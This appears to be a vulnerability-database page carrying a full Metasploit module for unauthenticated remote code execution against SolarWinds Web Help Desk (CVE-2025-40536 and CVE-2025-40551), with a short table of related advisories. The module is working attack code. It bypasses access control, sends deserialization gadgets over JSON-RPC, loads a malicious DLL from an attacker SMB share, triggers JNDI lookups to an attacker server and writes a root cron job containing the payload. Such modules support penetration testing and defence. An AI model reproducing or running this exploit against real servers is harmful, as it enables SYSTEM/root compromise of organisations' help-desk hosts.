| Reporter | Title | Published | Views | Family All 45 |
|---|---|---|---|---|
| Exploit for CVE-2025-40554 | 31 Jan 202608:17 | – | githubexploit | |
| CVE-2025-40536 | 28 Jan 202607:30 | – | attackerkb | |
| CVE-2025-40551 | 28 Jan 202607:33 | – | attackerkb | |
| CVE-2025-40536 | 28 Jan 202610:19 | – | circl | |
| CVE-2025-40551 | 28 Jan 202610:02 | – | circl | |
| SolarWinds Web Help Desk Security Control Bypass Vulnerability | 12 Feb 202600:00 | – | cisa_kev | |
| SolarWinds Web Help Desk Deserialization of Untrusted Data Vulnerability | 3 Feb 202600:00 | – | cisa_kev | |
| CISA Adds Four Known Exploited Vulnerabilities to Catalog | 12 Feb 202612:00 | – | cisa | |
| CISA Adds Four Known Exploited Vulnerabilities to Catalog | 3 Feb 202612:00 | – | cisa | |
| SolarWinds Web Help Desk code-related vulnerabilities | 28 Jan 202600:00 | – | cnnvd |
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::JndiInjection
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::EXE
include Msf::Exploit::Retry
def initialize(info = {})
super(
update_info(
info,
'Name' => 'SolarWinds Web Help Desk unauthenticated RCE',
'Description' => %q{
This module exploits an access control bypass vulnerability (CVE-2025-40536) and an unsafe deserialization
vulnerability (CVE-2025-40551) to achieve unauthenticated RCE against a vulnerable SolarWinds Web Help Desk (WHD)
server.
},
'License' => MSF_LICENSE,
'Author' => [
'Jimi Sebree', # Original finder @ horizon3.ai
'sfewer-r7' # MSF module (Based on the Nuclei template by horizon3.ai)
],
'References' => [
# Access control bypass vulnerability
['CVE', '2025-40536'],
# Unsafe deserialization for RCE
['CVE', '2025-40551'],
# Vendor advisory
['URL', 'https://documentation.solarwinds.com/en/success_center/whd/content/release_notes/whd_2026-1_release_notes.htm'],
# Technical analysis from horizon3.ai
['URL', 'https://horizon3.ai/attack-research/cve-2025-40551-another-solarwinds-web-help-desk-deserialization-issue/']
],
'DisclosureDate' => '2026-01-28',
'Privileged' => true, # Runs as "NT AUTHORITY\SYSTEM" by default on a Windows install.
'Platform' => ['win', 'unix', 'linux'],
'Arch' => [ARCH_X64, ARCH_CMD],
'Targets' => [
[
'WHD 12.8.* on Windows (Native code payload)', {
'VersionStart' => '12.8',
'Platform' => 'win',
'Arch' => ARCH_X64 # Ships as a Java application running in a x64 java.exe process
}
],
[
'WHD 12.8.* on Linux (Command payload)', {
'VersionStart' => '12.8',
'Platform' => ['unix', 'linux'],
'Arch' => ARCH_CMD,
'Payload' => {
'BadChars' => '\''
},
'WfsDelay' => 90 # cron can take ~1 minute
}
],
[
'WHD 12.7.* on Windows (Command payload)', {
'VersionStart' => '12.7',
'GadgetChain' => 'CommonsBeanutils1',
'Platform' => 'win',
'Arch' => ARCH_CMD
}
],
[
'WHD 12.7.* on Linux (Command payload)', {
'VersionStart' => '12.7',
'GadgetChain' => 'CommonsBeanutils1', # Tested against Web Help Desk version 12.7.11.1182 (linux)
'Platform' => ['unix', 'linux'],
'Arch' => ARCH_CMD
}
],
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 8443,
'SSL' => true
},
'Notes' => {
# For the 12.8.* target on Windows, the service may crash and restart so we use a stability of
# CRASH_SERVICE_RESTARTS, but for all the other targets the stability is CRASH_SAFE.
'Stability' => [CRASH_SERVICE_RESTARTS],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS] # C:\Program Files\WebHelpDesk\log\whd.log
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base path', '/'])
])
end
def check
session_ctx = step1_initial_session
CheckCode::Vulnerable("Detected Web Help Desk version #{session_ctx[:version]} (#{session_ctx[:platform]}).")
rescue Msf::Exploit::Failed => e
CheckCode::Unknown(e.to_s)
end
def exploit
print_status('Step 1 - Initial session...')
session_ctx = step1_initial_session
# Verify the remote target matches the expectations for the Metasploit target's version and platform...
fail_with(Failure::BadConfig, "Remote target is running version #{session_ctx[:version]}, current Metasploit target gadget chain is for version #{target['VersionStart']}.*. Set a different target.") unless session_ctx[:version].start_with? target['VersionStart']
case target['Platform']
when 'win'
fail_with(Failure::BadConfig, "Remote target is running on #{session_ctx[:platform]} but Metasploit target platform is #{target['Platform']}. Set a different target.") unless session_ctx[:platform] == :windows
when ['unix', 'linux']
fail_with(Failure::BadConfig, "Remote target is running on #{session_ctx[:platform]} but Metasploit target platform is #{target['Platform']}. Set a different target.") unless session_ctx[:platform] == :linux
else
fail_with(Failure::BadConfig, "Unexpected target platform #{target['Platform']}. Set a different target.")
end
session_ctx[:service] = get_target_service(session_ctx)
print_status('Step 2 - Login pref page...')
external_auth_container = step2_login_pref_page(session_ctx)
print_status('Step 3 - Trigger SAML object...')
step3_trigger_saml_object(session_ctx, external_auth_container)
print_status('Step 4 - Create JSON RPC bridge...')
jsonrpc_client = step4_create_jsonrpc_bridge(session_ctx)
print_status('Step 5 - Unsafe deserialization...')
get_target_gadgets(session_ctx).each do |gadget|
print_status(" Executing gadget - #{gadget[:title]}")
step5_trigger_unsafe_deserialization(session_ctx, jsonrpc_client, gadget[:json_data], return_early: true)
Rex::ThreadSafe.sleep(2)
end
# block untill we get a session, so we dont tear down the SMB/LDAP service prematurly.
retry_until_truthy(timeout: datastore['WfsDelay']) do
!handler_enabled? || session_created?
end
unless session_ctx[:service].nil?
session_ctx[:service].cleanup
end
handler
ensure
cleanup_service
end
class SimpleSMBShareWrapper < ::Msf::Exploit
include ::Msf::Exploit::Remote::SMB::Server::Share
end
def get_target_service(session_ctx)
if target['VersionStart'] == '12.7'
start_service
return nil
end
# For 12.8.* targets on Windows, our gadget will force a native code library (a DLL) to be loaded from a UNC path
# over SMB. We need to spin up an SMB server with a share to satisfy this. As we already
# include Msf::Exploit::Remote::JndiInjection we cannot also include Msf::Exploit::Remote::SMB::Server::Share. To
# overcome this, we wrap the SMB server mixin in a new Exploit class, and instantiate it separately.
return nil unless target['VersionStart'] == '12.8' && session_ctx[:platform] == :windows
if Rex::Socket.is_ip_addr?(datastore['SRVHOST']) && Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0
fail_with(Exploit::Failure::BadConfig, 'The SRVHOST option must be set to a routable IP address.')
end
# NOTE: It has to be TCP port 445 for SMB, so we don't expose this port number to the user as an option.
print_status("Serving a malicious extension over an SMB share on #{datastore['SRVHOST']} (SMB on TCP port 445)")
smb_service = SimpleSMBShareWrapper.new
smb_service.datastore['SRVPORT'] = 445
smb_service.datastore['SRVHOST'] = datastore['SRVHOST']
smb_service.setup
smb_service.file_contents = generate_payload_dll
smb_service.file_name += '.dll'
smb_service.start_service({
'ServerPort' => 445,
'ServerHost' => datastore['SRVHOST']
})
smb_service
end
def get_target_gadgets(session_ctx)
gadgets = []
if target['VersionStart'] == '12.7'
# Tested against Web Help Desk version 12.7.11.1182 running on Linux.
print_status("Malicious JNDI URL: #{jndi_string}")
gadgets.push({
title: 'Malicious JNDI lookup via ch.qos.logback.core.db.JNDIConnectionSource',
json_data: {
'javaClass' => 'ch.qos.logback.core.db.JNDIConnectionSource', # logback-core.jar
'jndiLocation' => jndi_string
}
})
elsif target['VersionStart'] == '12.8'
# We first need to register the org.sqlite.JDBC driver so we can use it, as it may have not already
# been registered. By instantiating org.sqlite.JDBC, the classes static initializer will register the driver.
gadgets.push({
title: 'Registering the org.sqlite.JDBC driver',
json_data: {
'javaClass' => 'org.sqlite.JDBC'
}
})
if session_ctx[:platform] == :windows
print_status("Malicious SQLite extension UNC: #{session_ctx[:service].unc}")
# With the org.sqlite.JDBC driver available, we leverage com.zaxxer.hikari.HikariDataSource to create a sqlite
# connection. We use a sqlite in-memory database to avoid touching disk, and we leverage the enable_load_extension
# pragma to allow us to load arbitrary native code extensions. Hikari allows us to execute arbitrary SQL statement
# when a new database connection is opened. We use this to load a malicious extension that contains a Metasploit
# native code payload.
#
# Tested against Web Help Desk version 12.8.8.2528 running on Windows Server 2022 (NOTE: If you are using
# the default Metasploit payloads you will have to disable Defender while testing, alternatively bring your
# own payloads).
gadgets.push({
title: 'Loading malicious extension over SMB',
json_data: {
'javaClass' => 'com.zaxxer.hikari.HikariDataSource',
'driverClassName' => 'org.sqlite.SQLiteDataSource',
'jdbcUrl' => 'jdbc:sqlite::memory:?enable_load_extension=true',
'connectionInitSql' => "SELECT load_extension('#{session_ctx[:service].unc}');"
}
})
elsif session_ctx[:platform] == :linux
# Leveraging a dirty file write viw SQLite to a cronjob has been shown to work against some cron daemons:
# https://kiddo-pwn.github.io/blog/2025-11-30/writing-sync-popping-cron
# However when testing against an Ubuntu system, I get the syslog error:
# cron[427]: Error: bad minute; while reading /etc/cron.d/hax_5
#
random_name = Rex::Text.rand_text_alpha(8)
gadgets.push({
title: "Creating file in /etc/cron.d/#{random_name}",
json_data: {
'javaClass' => 'com.zaxxer.hikari.HikariDataSource',
'driverClassName' => 'org.sqlite.SQLiteDataSource',
'jdbcUrl' => "jdbc:sqlite:/etc/cron.d/#{random_name}",
'connectionInitSql' => 'CREATE TABLE a (b TEXT UNIQUE);'
}
})
gadgets.push({
title: "Dirty file write to /etc/cron.d/#{random_name}",
json_data: {
'javaClass' => 'com.zaxxer.hikari.HikariDataSource',
'driverClassName' => 'org.sqlite.SQLiteDataSource',
'jdbcUrl' => "jdbc:sqlite:/etc/cron.d/#{random_name}",
'connectionInitSql' => "INSERT OR IGNORE INTO a (b) VALUES ('\n* * * * * root #{payload.encoded}\n');"
}
})
end
else
fail_with(Failure::BadConfig, "Unexpected target version #{target['VersionStart']}. Set a different target.")
end
end
# By default, Metasploit will use BeanFactory, but we want CommonsBeanutils1. The gadget chain used here is left
# as a target option so we can add new targets (i.e. specific versions of WHD) with ease.
def build_ldap_search_response_payload
build_ldap_search_response_payload_inline(target['GadgetChain'])
end
def step1_initial_session
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'helpdesk', 'WebObjects', 'Helpdesk.woa'),
'headers' => {
'x-webobjects-recording' => '1'
}
)
fail_with(Failure::UnexpectedReply, 'Step 1 - Connection failed') unless res
fail_with(Failure::UnexpectedReply, "Step 1 - Unexpected response code #{res.code}") unless res.code == 200
m = res.body.match(%r{"/helpdesk/\w+/\w+\.css\?v=([\d_]+)"})
fail_with(Failure::UnexpectedReply, 'Step 1 - Failed to extract version') unless m
version = m[1].gsub('_', '.')
vprint_status("Version: #{version}")
m = res.body.match(%r{src="/helpdesk/WebObjects/Helpdesk\.woa/wr\?wodata=(jar[^"]+)"})
fail_with(Failure::UnexpectedReply, 'Step 1 - Failed to extract resource path') unless m
resource_path = Rex::Text.uri_decode(m[1])
# jar:file:////C:/Program%20Files/WebHelpDesk/bin/webapps/helpdesk/WEB-INF/lib/Ajax.jar!/WebServerResources/prototype.js
# jar:file:///usr/local/webhelpdesk/bin/webapps/helpdesk/WEB-INF/lib/Ajax.jar!/WebServerResources/prototype.js
platform = if resource_path =~ %r{file:////.:/}
:windows
else
resource_path =~ %r{file:///Applications/} ? :mac : :linux
end
vprint_status("Platform: #{platform}")
cookies = res.get_cookies
jsessionid = cookies.scan(/JSESSIONID=([A-Za-z0-9]+);*/).flatten[0] || nil
fail_with(Failure::UnexpectedReply, 'Step 1 - Failed to get JSESSIONID') unless jsessionid
vprint_status("JSESSIONID: #{jsessionid}")
xsrf_token = cookies.scan(/XSRF-TOKEN=([A-Za-z0-9-]+);*/).flatten[0] || nil
fail_with(Failure::UnexpectedReply, 'Step 1 - Failed to get XSRF-TOKEN') unless xsrf_token
vprint_status("XSRF-TOKEN: #{xsrf_token}")
x_webobjects_session_id = res.headers['x-webobjects-session-id']&.to_s
fail_with(Failure::UnexpectedReply, 'Step 1 - Failed to get x-webobjects-session-id') unless x_webobjects_session_id
vprint_status("x-webobjects-session-id: #{x_webobjects_session_id}")
{
version: version,
platform: platform,
jsessionid: jsessionid,
xsrf_token: xsrf_token,
x_webobjects_session_id: x_webobjects_session_id
}
end
def step2_login_pref_page(session_ctx)
res = send_request_cgi(
'method' => session_ctx[:version].start_with?('12.8') ? 'GET' : 'POST',
'uri' => normalize_uri(target_uri.path, 'helpdesk', 'WebObjects', 'Helpdesk.woa', 'wo', "#{Rex::Text.rand_text_alpha(8)}.wo", session_ctx[:x_webobjects_session_id], '1.0'),
'headers' => {
'X-Xsrf-Token' => session_ctx[:xsrf_token],
'Cookie' => "JSESSIONID=#{session_ctx[:jsessionid]}"
},
'vars_get' => {
Rex::Text.rand_text_alpha(8) => '/ajax/',
'wopage' => 'LoginPref'
}
)
fail_with(Failure::UnexpectedReply, 'Step 2 - Connection failed') unless res
fail_with(Failure::UnexpectedReply, "Step 2 - Unexpected response code #{res.code}") unless res.code == 200
m = res.body.match(%r{id="externalAuthContainer" updateUrl="/(helpdesk/WebObjects/Helpdesk\.woa/ajax/\d+\.\d+)})
fail_with(Failure::UnexpectedReply, 'Step 2 - Failed to extract externalAuthContainer') unless m
external_auth_container = m[1]
vprint_status("externalAuthContainer: #{external_auth_container}")
external_auth_container
end
def step3_trigger_saml_object(session_ctx, external_auth_container)
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, external_auth_container),
'headers' => {
'X-Xsrf-Token' => session_ctx[:xsrf_token],
'Cookie' => "JSESSIONID=#{session_ctx[:jsessionid]}"
},
'data' => "0.7.1.3.1.0.0.0.1.1.0=1&_csrf=#{session_ctx[:xsrf_token]}"
)
fail_with(Failure::UnexpectedReply, 'Step 3 - Connection failed') unless res
fail_with(Failure::UnexpectedReply, "Step 3 - Unexpected response code #{res.code}") unless res.code == 200
end
def step4_create_jsonrpc_bridge(session_ctx)
res = send_request_cgi(
'method' => session_ctx[:version].start_with?('12.8') ? 'GET' : 'POST',
'uri' => normalize_uri(target_uri.path, 'helpdesk', 'WebObjects', 'Helpdesk.woa', 'wo', "#{Rex::Text.rand_text_alpha(8)}.wo", session_ctx[:x_webobjects_session_id], '1.0'),
'headers' => {
'X-Xsrf-Token' => session_ctx[:xsrf_token],
'Cookie' => "JSESSIONID=#{session_ctx[:jsessionid]}"
},
'vars_get' => {
Rex::Text.rand_text_alpha(8) => '/ajax/',
'wopage' => 'LoginPref'
}
)
fail_with(Failure::UnexpectedReply, 'Step 4 - Connection failed') unless res
fail_with(Failure::UnexpectedReply, "Step 4 - Unexpected response code #{res.code}") unless res.code == 200
m = res.body.match(%r{JSONRpcClient\('/helpdesk/WebObjects/Helpdesk\.woa/ajax/([\d.]+)'\);})
fail_with(Failure::UnexpectedReply, 'Step 4 - Failed to extract JSONRpcClient') unless m
jsonrpc_client = m[1]
vprint_status("JSONRpcClient: #{jsonrpc_client}")
jsonrpc_client
end
def step5_trigger_unsafe_deserialization(session_ctx, jsonrpc_client, json_data, return_early: false)
random_id = rand(1..0xffff)
random_name = Rex::Text.rand_text_alpha(8)
# whd-core.jar!com.macsdesign.util.MDSApplication.isWhitelisted
allowlist = [
'parentpopup', 'wonoselectionstring', 'dummy', 'mdssubmitlink', 'mdsform__enterkeypressed',
'mdsform__shiftkeypressed', 'mdsform__altkeypressed', '_csrf'
]
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'helpdesk', 'WebObjects', 'Helpdesk.woa', 'wo', jsonrpc_client),
'headers' => {
'X-Xsrf-Token' => session_ctx[:xsrf_token],
'Cookie' => "JSESSIONID=#{session_ctx[:jsessionid]}"
},
'data' => {
Rex::Text.rand_text_alpha(8) => "java.#{allowlist.shuffle.join}",
'id' => random_id,
'method' => 'wopage.setVariableValueForName',
'params' => [
random_name,
json_data
]
}.to_json
)
fail_with(Failure::UnexpectedReply, 'Step 5A - Connection failed') unless res
fail_with(Failure::UnexpectedReply, "Step 5A - Unexpected response code #{res.code}") unless res.code == 200
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'helpdesk', 'WebObjects', 'Helpdesk.woa', 'wo', jsonrpc_client),
'headers' => {
'X-Xsrf-Token' => session_ctx[:xsrf_token],
'Cookie' => "JSESSIONID=#{session_ctx[:jsessionid]}"
},
'data' => {
Rex::Text.rand_text_alpha(8) => "java.#{allowlist.shuffle.join}",
'id' => random_id,
'method' => 'wopage.variableValueForName',
'params' => [random_name]
}.to_json
)
unless return_early
fail_with(Failure::UnexpectedReply, 'Step 5B - Connection failed') unless res
fail_with(Failure::UnexpectedReply, "Step 5B - Unexpected response code #{res.code}") unless res.code == 200
end
end
endData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation